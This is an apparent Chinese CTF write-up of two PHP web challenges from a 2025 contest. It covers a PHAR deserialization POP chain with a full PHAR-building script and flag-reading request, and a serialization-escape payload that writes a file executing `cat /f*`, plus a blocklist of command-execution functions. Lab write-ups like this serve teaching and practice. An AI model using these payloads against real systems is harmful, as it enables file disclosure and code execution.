2025山警新春杯WEB部分WP

随便做了做,分低的没打


PHhhar!

题目介绍:
小聪明的程序员接过老板的命令,开发一个图片上传的网站,他为了方便给自己留了一个后门,想着反正是黑盒,没人能知道,老板在家背后凉飕飕的,觉得这个程序员不靠谱,现要求你去测试一下这个正在开发的网站
flag在/readddf1ag_getfl4g

思路

进去后是一个上传图片的网页,经测试和扫描后发现存在一些页面

dirsearch的扫描结果如下,其实应该还有个function.php

Target: http://175.27.251.122:33175/

[10:34:27] Starting:
[10:34:50] 200 -    2KB - /file.php
[10:35:03] 200 -   72KB - /php.ini

简单测试,发现function.php是用来上传文件的,file.php是用来读取文件的,对应题目描述中的”后门“。php.ini倒是看不出什么

通过file.php传参file可以读取文件,把题目源码读一下:

file.php

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Happy($file);
if(file_exists($file)) {
    $show->source = $file;
    $show->_happy();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>

class.php

<?php
class new2025
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str = 'sdpcsec';
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;

    }
}

class Happy
{
    public $source;
    public $str='ctf';
    public $filename;
    public function __construct()
    {
        $this->source = 'ctf2025';

    }
    public function __toString()
    {
        $this->{$_POST['method']}($_POST['var']);
        return $this->source;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _happy()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //提前祝大家新年快乐!
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    private $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];

        } else {
            $value = "function.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        echo $value;
        $value= base64_encode(file_get_contents($value));
        echo $value;
    }
}
?>

function.php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>图片检测器</title>
    <link rel="stylesheet" href="./index.css">
    <link rel="icon" href="tor.ico" type="image/x-icon">
</head>

<body>
<div class="container">
    <!-- 上传单个图片 -->
    <div class="container_form container-image">
        <form action="function.php" method="post" class="form" id="form2" enctype="multipart/form-data">
            <h1 class="form_title">Upload Image</h1>
            <input type="file" name="file" id="file" accept="image/*" required class="upload_image">
            <br><br>
            <input type="hidden" name="upload" value="true">
            <button type="submit" class="btn">Upload</button>
        </form>
    </div>
    <!-- 罩 -->
    <div class="container_mask">
        <div class="mask">
            <div class="mask_cover mask-left">
                <button type="button" class="btn" id="image">Upload Image</button>
            </div>
        </div>
    </div>
</div>
<script>
    function getQueryParam(param) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param);
    }

    const status = getQueryParam('status');

    if (status) {
        switch (status) {
            case 'success':
                alert('Image uploaded successfully!');
                break;
            case 'file_error':
                alert('Image upload failed, please try again!');
                break;
            default:
                alert('Unknown error, please try again later!');
        }
    }
</script>
</body>

</html>
<?php

//show_source(__FILE__);

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        //&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Chhheck($tmp_name);
        $c->incheck();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }
}
class Chhheck{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function incheck(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

解题

答案很了然,结合题目名字也可看出是phar反序列化漏洞的利用
我们一步一步看,反序列化的题要一步一步来

首先看到Test类的file_get函数可以直接echo出文件内容:

class Test
{
    private $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];

        } else {
            $value = "function.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        echo $value;
        $value= base64_encode(file_get_contents($value));
        echo $value;
    }
}

以及看到__get方法可以调用file_get,那就只要让其$params的#key键对应的值为/readddf1ag_getfl4g就行
__get是获取类的属性时被调用,那么我们找一找获取类属性的地方就行。

$b = new Test();
$b->params = array(#key=>"/readddf1ag_getfl4g");

// 找:
$b->#key;

我们发现,在Happy类中的write函数可以访问类的属性,我们只要让$this->filename为$b,$var为#key就行。

class Happy
{
    public $source;
    public $str='ctf';
    public $filename;
    public function __construct()
    {
        $this->source = 'ctf2025';

    }
    public function __toString()
    {
        $this->{$_POST['method']}($_POST['var']);
        return $this->source;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _happy()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //提前祝大家新年快乐!
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

发现__toString函数中可以调用自身的某个函数,那么我们POST相应参数就行
__toString是将类当作字符串时调用,常见于echo、正则等地方。

$b = new Test();
$b->params = array(#key=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;

// 找:
$c->__toString();
// POST:method=write, var=#key

最后,new2025类中的__destruct中有echo,可以触发__toString,只要让$this->str为$c即可。
__destruct在变量销毁时自动触发,不用找别的触发点触发它,这样就结束了
发现对#key没有要求,随便起个source

$b = new Test();
$b->params = array("source"=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;
$a = new new2025();
$a->str = $c;

// $a
// POST:method=write, var=source

我们用phar标准打包模板做一个phar.phar文件,然后压缩成gz文件即可
打包代码:

<?php
class new2025
{
    public $test;
    public $str;
}

class Happy
{
    public $source;
    public $str='ctf';
    public $filename;
}
class Test
{
    private $file;
    public $params;
}

$b = new Test();
$b->params = array("source"=>"/readddf1ag_getfl4g");
$c = new Happy();
$c->filename = $b;
$a = new new2025();
$a->str = $c;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "end";

上传gz(改后缀为gif),访问:

/file.php?file=phar://upload/4f07ecd94ba0129c655025992111667d/4dafe3d539c1e9a7bcd5d0356c1feaae.gif/phar.phar
method=write&var=source

得到:

ZmxhZ3s4MWVlMzMwNC1iNWU4LTQ0OTItODRlMy02ZjZiYmY4YzAzNjZ9

flag{81ee3304-b5e8-4492-84e3-6f6bbf8c0366}

注意

有一道非常相似的题,怀疑根本没怎么改:
[CTF]WriteUp第24篇的[SWPUCTF 2018]SimplePHP


rot13

题目介绍:
m1xi@n写了一个rot13编码\解码器,但是他好像忽略了什么
此题答出后需带着关键截图找到出题人(2077841311)讲解思路后获取flag

思路

这题有源码,我们先看看:

decode.php

<?php
include "func.php";

class Decode {
    public $value;
    public $key;

    public function __construct($input,$key) {
        $this->value = ($input);
        $this->key = $key;
    }

    public function __toString() {
        return $this->value;
    }
    public function __destruct()
    {
        tostring($this->key,$this->value);
    }
}

encode.php

<?php
include "func.php";

class Encode {
    public $value;
    public $key;

    public function __construct($input,$key) {
        $this->value = ($input);
        $this->key = $key;
    }
    public function __toString() {
        return $this->value;
    }
    public function __destruct()
    {
        tostring($this->key,$this->value);
    }
}

func.php

<?php
function filter($string) {
    $safe = array('system', 'eval', 'passthru', 'exec', 'shell_exec','popen');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

function WAF2($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            myFunction($value);
            die($value."是不行哒");
        }
    }
    return $data;
}
function myFunction($Data) {
    // 随机生成颜色
    $name = getRandomName();
    // 使用带有颜色的 <span> 标签美化字符串
    echo $name . '说' .$Data . '不能出现哦';
}

// 生成随机颜色

function WAF1($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

function getRandomName() {
    $names = array('m1xi@n', 'IC4_Flame', 'fake_s0ul');
    $randomIndex = rand(0, count($names) - 1);
    return $names[$randomIndex];
}
function tostring($input,$Input){
    $key = WAF2($input);
    $value = WAF1($Input);
    file_put_contents($key, $value);
}

index.php

<?php
error_reporting(0);
include "decode.php";

function _encode($code) {
    $encode = str_rot13($code);
    return $encode;
}
function _decode($code) {
    $decode = str_rot13($code);
    return $decode;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <title>Rot13 to base64编码/解码</title>
    <style type="text/css" media="all">
        html, body {
            margin: 0;
            padding: 0;
            height: 100%;
            width: 100%;
            font-family: Tahoma, Lucida Grande, sans-serif;
            color: #333;
        }
        body {
            background: url('image/beijingtu.jpeg') no-repeat center center fixed;
            background-size: cover; /* 确保图片覆盖整个页面 */
        }
        form {
            position: relative;
            z-index: 1;
            background: rgba(255, 255, 255, 0.9); /* 半透明背景 */
            padding: 20px;
            border-radius: 10px;
            max-width: 600px;
            margin: 50px auto;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
        }
        textarea {
            width: 100%;
            height: 150px;
            margin-bottom: 15px;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 14px;
            resize: none;
        }
        input[type="submit"] {
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            background-color: #0055CC;
            color: white;
            font-size: 14px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #003E99;
        }
        h3 {
            text-align: center;
            color: white;
            text-shadow: 0 2px 5px rgba(0, 0, 0, 0.7);
        }
    </style>
</head>
<body>
<h3>Rot13加密/解密</h3>
<form method="post">
    <textarea name="source" placeholder="输入文本进行加密或解密">
<?php
if(!empty($_POST['source'])) {
    if($_POST['button']=='解码') {
        $base = new Decode($_POST['source'],"m1xi@n.txt");
        $aa = filter(serialize($base));
        unserialize($aa);
        $encoded_sring=htmlspecialchars(_decode(stripcslashes($base->value)));
        echo  $encoded_sring;


    }
    if($_POST['button']=='编码') {
        $base = new Decode($_POST['source'],"m1xi@n.txt");
        $aa = filter(serialize($base));
        unserialize($aa);
        $decoded_sring=htmlspecialchars(_encode(stripcslashes($base->value)));
        echo  $decoded_sring;
    }
}
?>
</textarea>
    <?php
    if(!empty($_POST['source'])){
        if($_POST['button']=='编码') {
            echo '
编码成功.';
        }
        if($_POST['button']=='解码') {
            echo '
解码成功.';
        }
    }else{
        echo '
ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。在PHP中 ROT13 编码和解码都使用相同的函数 str_rot13() ,传递一个base64编码过的字符串作为参数,将得到原始字符串rot13编码后的字符串。';
    }
    ?>
    <input type="submit" name="button" value="编码">
    <input type="submit" name="button" value="解码">
</form>

<h3>Just for fun.</h3>

解题

有点长,但是思路比较简单。无非也是反序列化的利用,说实话做多了有点烦。讲起来也不好讲。

这些代码简单理解就是用来加密解密的,没啥特殊,要用到关键有这几个:

class Decode {
    public $value;
    public $key;
    public function __destruct()
    {
        tostring($this->key,$this->value);
    }
}

// 省流:不让出现一些命令执行的字符串
function filter($string) {
    $safe = array('system', 'eval', 'passthru', 'exec', 'shell_exec','popen');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

// 省流:文件名不能带有..和/
function WAF2($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            myFunction($value);
            die($value."是不行哒");
        }
    }
    return $data;
}

// 省流:写入为特定格式
function WAF1($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

// 写入文件
function tostring($input,$Input){
    $key = WAF2($input);
    $value = WAF1($Input);
    file_put_contents($key, $value);
}

WAF1:格式如下

00000000: 48656c6c 6f2c2057 6f726c64 21205468  Hello, World! Th
00000010: 69732069 73206120 74657374 20737472  is is a test str
00000020: 696e672e                             ing.

在index.php中有关键利用点:

$aa = filter(serialize($base));
unserialize($aa);

那么比较明显:通过filter替换词长前后不一导致反序列化逃逸,读取/flag即可
原理在之前讲过:[CTF]WriteUp第14篇的[0CTF 2016]piapiapia

先说WAF1的格式下我们怎么读取文件
其实只要利用好注释和通配符就行,相当于每行只有十多个字符可以写

控制好内容的位置即可

接下来看怎么反序列化逃逸

原本的序列化:
O:6:"Decode":2:{s:5:"value";s:5:"aaaaa";s:3:"key";s:10:"m1xi@n.txt";}

我们想要构造的:
O:6:"Decode":2:{s:5:"value";s:5:"<?php         /*/**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}

我们要让s:5:"<?php中的5变成正确的数字34,可以用filter进行长度替换
例如原本是s:5:"popen",替换后就是s:5:"hacker"。发现数字5不变,那么我们只要控制长度即可
构造如下:(注意同时控制好空格的数量)
popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen      <?php         /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}

带入原本的即为:
O:6:"Decode":2:{s:5:"value";s:224:"popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen      <?php         /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}";s:3:"key";s:10:"m1xi@n.txt";}

替换后为:
O:6:"Decode":2:{s:5:"value";s:224:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker      <?php         /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}";s:3:"key";s:10:"m1xi@n.txt";}

而反序列化闭合后会自动忽略后面的内容,因此后面重复的";s:3:"key";s:10:"m1xi@n.txt";}这部分会被丢弃

至此我们成功写入了文件读取到m1xi@n.php中

操作步骤:
将以下内容复制到文本框中,点击解码:

popenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopenpopen      <?php         /**/echo`cat /f*`;";s:3:"key";s:10:"m1xi@n.php";}

访问/m1xi@n.php:

00000000: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack 
00000010: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha 
00000020: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker 
00000030: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack 
00000040: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha 
00000050: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker 
00000060: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack 
00000070: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha 
00000080: 636b 6572 6861 636b 6572 6861 636b 6572 ckerhackerhacker 
00000090: 6861 636b 6572 6861 636b 6572 6861 636b hackerhackerhack 
000000a0: 6572 6861 636b 6572 6861 636b 6572 6861 erhackerhackerha 
000000b0: 636b 6572 6861 636b 6572 2020 2020 2020 ckerhacker 
000000c0: 3c3f 7068 7020 2020 2020 2020 2020 2f2a flag{1733b3ac-d9c4-44e5-b2f7-790140f11ba0}

其他的就没做了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇